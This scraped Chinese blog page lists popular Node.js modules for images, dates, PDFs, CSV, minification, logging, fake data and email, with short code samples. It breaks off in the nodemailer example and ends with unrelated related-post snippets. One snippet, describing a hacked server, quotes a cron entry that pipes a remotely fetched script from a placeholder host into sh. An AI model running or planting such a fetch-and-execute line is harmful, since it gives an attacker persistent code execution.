图片处理

1.Manipulate images

官网:http://github.com/aheckmann/gm

ImageMagick和GraphicsMagick主要用于图片的创建、编辑、合成图片。它们可以读取、转换、写入多种格式的图片。图片切割、颜色替换、各种效果的应用,图片的旋转、组合,文本,直线,多边形,椭圆,曲线,附加到图片伸展旋转。

gm模块实现了ImageMagick和GraphicsMagick的相关功能,让我们很方便的在Node中进行图片的相关操作,示例代码

var fs = require('fs'), gm = require('gm');

gm('/path/to/my/img.jpg')
.resize(240, 240)
.noProfile()
.write('/path/to/resize.png', function (err) {  if (!err) console.log('done');
});

2.Process images

官网:http://github.com/lovell/sharp

主要用于图片的处理,相比ImageMagick 和 GraphicsMagick ,处理速度会快四五倍。主要支持JPEG,PNG,WebP,TIFF,GIF 和 SVG images。示例代码如下:

sharp('input.jpg')
 .rotate()
 .resize(200)
 .toBuffer()
 .then( data => ... )
 .catch( err => ... );

3.sprite sheets

官网:http://github.com/ensighten/spritesmith

CSSSprites在国内很多人叫css精灵,是一种网页图片应用处理方式。它允许你将一个页面涉及到的所有零星图片都包含到一张大图中去,这样一来,当访问该页面时,载入的图片就不会像以前那样一幅一幅地慢慢显示出来了。

spritesmith 模块就是将多个图片生成 CSSSprites 和 拼成一张图,示例代码如下

var fs = require('fs');

var Spritesmith = require('spritesmith');

Spritesmith.run({
 src: [    __dirname + '/fork.png',    __dirname + '/github.png',    __dirname + '/twitter.png'
 ],
 engine: require('canvassmith')
}, function handleResult (err, result) {  
 if (err) {    throw err;
 }  
 fs.writeFileSync(__dirname + '/canvassmith.png', result.image);  result.coordinates, result.properties; });

日期、字符串、颜色处理

4.format dates

官网:http://github.com/moment/moment

相比大家都用过Moment.js,今天分享的是Moment NodeJS版本。示例代码如下:

var moment = require('moment');
moment().add(7,'days');

5. Validate strings

官网:https://github.com/chriso/validator.js

在服务端和客户端都可以进行验证的模块,常用的邮箱,网址,电话,信用卡等都支持,示例代码如下

选中一个模板,出现的黑色方框标志着选中的范围
插入新模板、收藏、复制,都是针对黑色方框进行操作。

var validator = require('validator');

validator.isEmail('foo@bar.com'); //=> true

6. work with colour values

官网:https://github.com/bgrins/TinyColor

在日常开发中,我们经常会处理一些颜色值的转换,正好TinyColor就派上用场了,能很方便的进行颜色值的转换,示例代码如下:

var color = tinycolor("red");

color.getFormat(); // "name"

color = tinycolor({r:255, g:255, b:255});

color.getFormat(); // "rgb"

文件处理

7.PDF

官网:http://github.com/devongovett/pdfkit

起初,生成PDF文件似乎是件很繁琐的任务,但有了PDFKit,这个任务就容易多了。

但对于Node.js的PDFKit模块,知道的人并不多,这倒是很意外。有了PDFKit模块,处理PDF文件变得非常容易,它让你避免了所有的复杂工作,并提供用CoffeeScript(也可以作为普通版的Javascript使用)写成的简易的API,示例代码如下:

var PDF = require('pdfkit');

var fs = require('fs');

var text = 'ANY_TEXT_YOU_WANT_TO_WRITE_IN_PDF_DOC';

doc = new PDF();             doc.pipe(fs.createWriteStream('PATH_TO_PDF_FILE'));

doc.text(text, 100, 100);

doc.end();

8.Process html files

官网:http://github.com/cheeriojs/cheerio

cheerio可以在服务端使用JQuery的类库,比如操作DOM元素,具体的代码示例如下:

let cheerio = require('cheerio');

let $ = cheerio.load('<h2 class="title">Hello world</h2>');

$('h2.title').text('Hello there!');

$('h2').addClass('welcome')$.html();

//=> <h2 class="title welcome">Hello there!</h2>

9.CSV

官网:http://github.com/wdavidw/node-csv

目前来说,node-csv 这个模块目前来说在Node中是操作csv最好的库,具体的使用方法请查看官网,示例代码如下:

var csv = require('csv');

csv.generate({seed: 1, columns: 2, length: 20})
 .pipe(csv.parse())
 .pipe(csv.transform(function(record){     return record.map(function(value){       return value.toUpperCase()
    });
 }))
 .pipe(csv.stringify())
 .pipe(process.stdout);

10. Markdown

官网:http://github.com/chjj/marked

Markdown 是一种轻量级的「标记语言」,它的优点很多,目前也被越来越多的写作爱好者,撰稿者广泛使用。因此显示Markdown格式的需求则随之而来,marked就能很好处理这个需求,示例代码如下:

var marked = require('marked');

console.log(marked('I am using __markdown__.'));

// Outputs: <p>I am using <strong>markdown</strong>.</p>

压缩类

11.Minify images

官网:http://github.com/imagemin/imagemin

安装命令:

npm install --save imagemin

虽然glup,grunt插件也提供类似的图片压缩功能,但是imagemin模块配置起来更加灵活,易用,示例代码如下:

const imagemin = require('imagemin');const imageminMozjpeg = require('imagemin-mozjpeg');const imageminPngquant = require('imagemin-pngquant');imagemin(['images/*.{jpg,png}'], 'build/images', {
   plugins: [        imageminMozjpeg(),        imageminPngquant({quality: '65-80'})
   ]
}).then(files => {    console.log(files);   });

12.Minify HTML

官网:http://github.com/Kangax/html-minifier

安装命令:

npm install html-minifier

html-minifier,通过后台代码的方式压缩HTML,操作更加方便,虽然gulp和Grunt也提供类似的功能,示例代码如下:

var minify = require('html-minifier').minify;

var result = minify('<p title="blah" id="moo">foo</p>', {
 removeAttributeQuotes: true});

13.Minify css

官网:http://github.com/jakubpawlowicz/clean-css

安装命令:

npm install clean-css

clean-css 是一个非常简单的 CSS 压缩模块,支持命令行和后台代码方式进行压缩,支持多种压缩方式,示例代码如下:

cleancss -o merged-and-minified.css one.css two.css three.css

var CleanCSS = require('clean-css');

var source = 'a{font-weight:bold;}';

var minified = new CleanCSS().minify(source).styles;

14. Minify Javascript

官网:http://github.com/mishoo/uglifyJS2

安装命令:

npm install uglify-js

UglifyJS2 是作者对UglifyJS的重写,是完全的重写,而不仅仅是升级。从UglifyJS2官司方网页介绍看,UglifyJS2把整个的JS压缩过程,做了更进一步的细化,同时支持命令行方式。详情请查看官网,示例代码如下:

var result = UglifyJS.minify([ "file1.js", "file2.js", "file3.js" ], {
   outSourceMap: "out.js.map"});

console.log(result.code); // minified outputconsole.log(result.map);

15. Minify SVG

官网:http://github.com/SVG/SVGO

安装命令:

npm install -g svgo

很好用的svg压缩工具,一行简单的命令行就能轻松完成压缩任务,示例代码如下:

$ svgo test.svg test.min.svg

实用模块

16. Log application output

官网:http://github.com/winstonjs/winston

安装命令:

npm install winston

日志对于问题定位、调试,系统性能调优至关重要,尤其是系统复杂以及在线运行的情况下。Winston是Node.js最流行的日志框架之一,设计为一个简单通用的日志库,支持多传输(在Winston中,一个传输实质上代表储存设备,也就是数据最终保存在哪里),每个Winston实例都可以对不同级别的日志配置不同的传输。示例代码如下:

var logger = new (winston.Logger)({
 transports: [    new (winston.transports.File)({
     name: 'info-file',
     filename: 'filelog-info.log',
     level: 'info'
   }),    new (winston.transports.File)({
     name: 'error-file',
     filename: 'filelog-error.log',
     level: 'error'
   })
 ]
});

17. Generate fake data

官网:http://github.com/marak/faker.js

安装命令:

$ git clone https://github.com/Marak/Faker.js.git

$ cd Faker.js/

$ npm install

我们为了做黑盒测试经常会需要做一些数据来模拟输入,NodeJS有丰富的第三方模块可以实现类似的功能,faker.js目前来说是最受欢迎的插件,示例代码如下:

var faker = require('./faker');
  var randomName = faker.Name.findName();
 var randomEmail = faker.Internet.email();
 var randomCard = faker.Helpers.createCard();

18. Send Email

官网:http://github.com/nodemailer/nodemailer

安装命令:

npm install nodemailer

电子邮件,是互联网应用最广泛使用的服务之一,通过电子邮件系统,我们可以与世界上任何一个角落的网络用户进行联系。

使用Nodejs收发电子邮件也非常简单,Nodemailer包就可以帮助快速实现发邮件的功能。示例代码如下:

var nodemailer = require('nodemailer');

// create reusable transporter object using the default SMTP transport
var transporter = nodemailer.createTransport('smtps://user%40gmail.com:pass@smtp.gmail.com'); // setup e-mail data with unicode symbols
var mailOptions = {
from: '"Fred Foo

常用的NodeJS模块的更多相关文章

  1. # nodejs模块学习: express 解析

    # nodejs模块学习: express 解析 nodejs 发展很快,从 npm 上面的包托管数量就可以看出来.不过从另一方面来看,也是反映了 nodejs 的基础不稳固,需要开发者创造大量的轮子 ...

  2. NodeJS 模块&函数

    NodeJS 模块&函数 nodejs的多文件操作通过模块系统实现,模块和文件一一对应.文件本身可以是javascript代码.JSON或编译过的C/C++扩展 基本用法 nodeJS通过ex ...

  3. nodejs模块学习: webpack

    nodejs模块学习: webpack nodejs 发展很快,从 npm 上面的包托管数量就可以看出来.不过从另一方面来看,也是反映了 nodejs 的基础不稳固,需要开发者创造大量的轮子来解决现实 ...

  4. NodeJS 模块开发及发布详解

    NodeJS 是一门年轻的语言,扩展模块并不太全,经常我们想用某个模块但是却找不到合适的.比如前两天我需要使用hmac和sha1来做签名,就没有找到一个比较好用的模块,这时候就需要我们自己来实现相应的 ...

  5. Python常用内建模块

    Python常用内建模块 datetime 处理日期和时间的标准库. 注意到datetime是模块,datetime模块还包含一个datetime类,通过from datetime import da ...

  6. NodeJS模块、包、NPM

    1.NodeJS模块        每一个Nodejs都是一个NodeJS模块,包括JS文件,JSON文本文件,二进制模块文件. a.模块的应用               新建一个文件mytest. ...

  7. 转:Yii实战中8个必备常用的扩展,模块和widget

    转载自:http://www.yiiframework.com/wiki/180/yii8/ 在经过畅K网的实战后,总结一下在Yii的项目中会经常用到的组件和一些基本的使用方法,分享给大家,同时也给自 ...

  8. nodejs模块xml2js解析xml的坑

    在一个项目中,用到nodejs模块xml2js解析xml,xml的数据如下: <xml> <MsgId>6197906553041859764</MsgId> &l ...

  9. Atiit 常见功能 常用功能与模块的最快速解决方案

    Atiit 常见功能 常用功能与模块的最快速解决方案 一.大力使用第三方API接口 一.导出excel jquery.table2excel 二.Form表单验证,使用h5验证属性 验证发生在form ...

随机推荐

  1. phoneGap+jquery mobile项目经验

        最近一个月,一直在用phoneGap+jquery mobile来开发一项目. 下面谈谈自己在开发过程中遇到的一些问题以及解决方法. 开始选择框架时,曾试过采用其他框架做UI,例如chocol ...

  2. 转 CentOS开启FTP及配置用户

    原文链接: http://www.centos.bz/2011/03/centos-install-vsftpd-ftp-server/ vsftpd作为FTP服务器,在Linux系统中是非常常用的. ...

  3. CentOS 6.4 安装 rabbitmq(3.6.15)

    安装废了一番周折,中间需要装一个socat,网上各种过时的地址. 无奈去socat官网,结果提供编译安装,编译安装完yum install rabbitmq的时候仍然提示缺少需要的依赖,烦,好在折腾两 ...

  4. 设置char变量指定位为0或1

    int GetBit(char c,int i)//取c的第i位 { ; } void SetBit(char & c,int i, int v)//设置c的第i位为v,v是0或1 { if( ...

  5. RHEL7-openldap安装配置二(客户端安装配置)

    LDAP用户登录流程: 当在客户端输入账号登录系统时,系统根据/etc/nsswitch.conf配置文件获取账号查找顺序,然后再根据PAM配置文件调用相关模块,对账号(/etc/passwd)及密码 ...

  6. curl定时任务下载执行

    服务器入侵后有定时任务执行如下,通过cron,下载脚本并执行!达到杀不死的木马进程 */5 * * * * curl -fsSL http://xxxx/pm.sh?0111 | sh curl参数解 ...

  7. EntityFramework 5.0 CodeFirst 教程03-数据结构的定义/列的属性

    ---------------------目录-------------------------- EntityFramework 5.0 CodeFirst 教程03-数据结构的定义/列的属性 (2 ...

  8. [解决问题]selenium.remote.UnreachableBrowserException 异常分析并解决问题

    I have a set of automations that work fantastically in Firefox and Chrome, and I'd like to launch an ...

  9. OpenCV 学习笔记 02 处理文件、摄像头和图形用户界面

    在处理文件前需要引入OpenCV库,同时也引入unmpy库 import cv2 import numpy as np 1 基本的读写操作 1.1 图像文件的读写操作 1.1.1 图像文件的读取操作 ...

  10. SQLServer2008 全文检索摘记

    最近在做全文搜索的内容,google了一下全文检索,发现了一些问题,现在总结如下: 全文索引和查询概念(摘自SQL 联机帮助)SQL Server 2008 为应用程序和用户提供了对 SQL Serv ...